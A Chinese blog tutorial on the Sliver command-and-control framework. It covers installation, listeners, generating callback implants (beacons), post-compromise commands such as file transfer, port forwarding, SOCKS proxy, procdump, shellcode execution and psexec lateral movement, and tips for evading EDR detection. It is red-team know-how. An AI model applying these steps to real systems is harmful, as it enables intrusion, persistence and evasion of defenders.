Sliver从入门到入土

笔者最近在使用sliver过程中,发现目前中文社区内暂无较为完善的教程。

而且目前命令搜索相当麻烦,因此整理出一份入土教程供大家参考

当然了,同时也会作为本人备忘录使用。

安装

  1. 一键脚本

    1
    curl -q -o- https://sliver.sh/install | sudo bash
  2. 自行下载

    1
    2
    3
    直接从https://github.com/BishopFox/sliver/releases下载,
    服务端下载-server,例如wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux
    客户端用的上就下载,是-client

​ 需要注意最好机器上安装msf,如果需要stage的话,msf是必须的。
​ ```

使用

协同工作

服务端

需要注意的是,server端默认监听的端口为31337。创建用户配置文件尽量不要用默认的。

1
2
3
4
#创建用户,这样的话就能用client来链接服务端了,类似cobalt strike的架构
new-operator --name Jesen --lport 20000 --lhost 1.1.1.1
#启用多用户
multiplayer -l 20000

客户端

1
2
3
4
5
6
7
#配置文件放入位置
windows=C:\Users\xxx\.sliver-client\configs\
linux=~/.sliver-client/configs/

# 放入之后,如果只有一个配置文件,那么直接运行client即可,否则需要import

./sliver-client_linux import /root/tool/Jesen_1.1.1.1.cfg

设置监听

支持mtls http https dns wg

1
2
#监听本机23333端口
mtls -l 23333

其他协议同理,不会就-h

生成木马(Implants)

​ b站上面有个教程很粗糙(没错,就是写着最细的那个),误人子弟。他没有说明beacon和session的区别,跟着他走是生成session,会有一些局限性。在最新版本中,如果生成的beacon,通过interactive命令即可很快的转成session,反之,不好意思不可以。

beacon和session主要区别就是前者是每隔一段时间才进行通讯,所以操作不会立刻返回给你;后者是实时模式,可以直接进行操作交互也会立刻返回结果。

这两个可以自行选择,因为有些时候就是时间要求比较急,session的话也仅仅是不那么opsec而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#首先要记住,遇事不决-h / help
#例如generate -h

#生成beacon,采用mtls回连1.1.1.1的23333端口,如无特殊说明,演示机IP均会打码成1.1.1.1
generate beacon --arch amd64 --os windows --mtls 1.1.1.1:23333 --save .

#时间会有点长,因为要混淆,大概输出结果如下
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /xxx/DIFFICULT_DYNAMO.exe


#重新用同样配置生成新的
regenerate

开始干活

上线会有提示,用beacons命令可以看到:

输入use ID,其中id可以只写前几位,选择对应的beacon。

常用操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
----------------常用
#查看当前用户名
whoami
#ip
ifconfig
#当前目录
pwd
#查看文件内容
cat [path]
#切换目录
cd [location]
#列目录
ls
#进程信息
ps 或者 ps -c, -c代表显示命令行参数
#上传下载
upload [local src] <remote dst>
download remote-path [local-path/.]
#文件操作
mv
rename
rm
mkdir
#端口转发
portfwd 把远程的某个ip:port定向到本地,让本地能直接访问。
portfwd -b 127.0.0.1:26379 -r 172.17.0.1:6379 访问26379相当于访问172.17.0.1的6379
rportfwd 把本地某个ip:port定向到远程,让远程能够访问我们本地监听的端口
rportfwd -b 127.0.0.1:8888 -r 127.0.0.1:18888 被控机访问8888相当于访问我们本地的18888端口
#关闭session(根据Implants名字或者session id),需要先use一个session
kill
#beacon转换session(需要等待beacon回连周期)
interactive
#启动交互式shell,一般不推荐,因为启动bash/cmd会导致edr报警。
shell
----------------其他操作,不常用
#网络
netstat
#s5代理
socks5 In-band SOCKS5 Proxy

#高级操作
execute-assembly
execute-assembly (inline with --in-process)

terminate [pid]
procdump -p [pid]
migrate [pid] (Windows Only)

#获取gid pid uid
getgid
getpid
getuid


#链接远程ssh
ssh -l root -P root123 192.168.0.100 ls

#被控机信息
info
ping(session存活否?)
#截图
screenshot



#其他的我懒得翻译了,简单注释一下吧
execute Execute a program on the remote system 执行命令
execute-shellcode Executes the given shellcode in the sliver process 执行shellcode
extensions Manage extensions
msf Execute an MSF payload in the current process
msf-inject Inject an MSF payload into a process
pivots List pivots for active session 中继

reconfig Reconfigure the active beacon/session
shell Start an interactive shell
shikata-ga-nai Polymorphic binary shellcode encoder(shellcode编码器,msf)
sideload Load and execute a shared object (DLL) in a remote process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#socks5开启
Start an in-band SOCKS5 proxy
Usage:
======
start [flags]
Flags:
======
-h, --help display help
-H, --host string Bind a Socks5 Host (default: 127.0.0.1)
-P, --port string Bind a Socks5 Port (default: 1081)
-u, --user string socks5 auth username (will generate random password)
#socks5关闭
socks5 stop -i [ID从1开始]

域相关

1
2
3
4
5
6
getsystem
psexec
#需要先创建profiles
profiles new --format service --skip-symbols --mtls 1.1.1.1:23333 win-svc64
#创建完才能psexec,记得改名字和描述,不然会显示sliver,一看就看出来
psexec -d Description -s ServiceName -p win-svc64 TARGET_FQDN

扩展能力

首先要更新索引

1
2
3
4
5
sliver > armory

[*] Fetching 1 armory index(es) ... done!
[*] Fetching package information ... done!
[...trim...]

安装官方的工具,无需安装coffloader。

1
2
3
armory install rubeus
armory install seatbelt
armory install nanodump

安装非官方工具,需要安装COFF Loader extension

1
2
#参考链接1: cna转sliver格式
https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support#converting-bofs-to-sliver

安装工具的使用:
需要注意如果给扩展传参数,前面需要加—表示sliver自己的参数已经给完了,—之后的全是seatbelt的参数了。

1
seatbelt -i -- -group=system

额外注意

  1. shell操作会导致日志的生成,而且目前没有实现参数混淆,会导致edr发现你的敏感操作。

  1. 少在cmd/ps中使用whoami,hostname,systeminfo等命令,转而使用框架自带命令,因为那些原生命令处于监控之中。

  2. 文档写于20230210,更新于20250709 如有遗漏请留言补充,我会同步更新到文章中。

  3. 随着时间流逝本篇文章不可避免会过时,目前最新sliver版本如下:

    1
    2
    [*] Client v1.5.43 - windows/amd64
    [*] Server v1.5.43 - linux/amd64

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!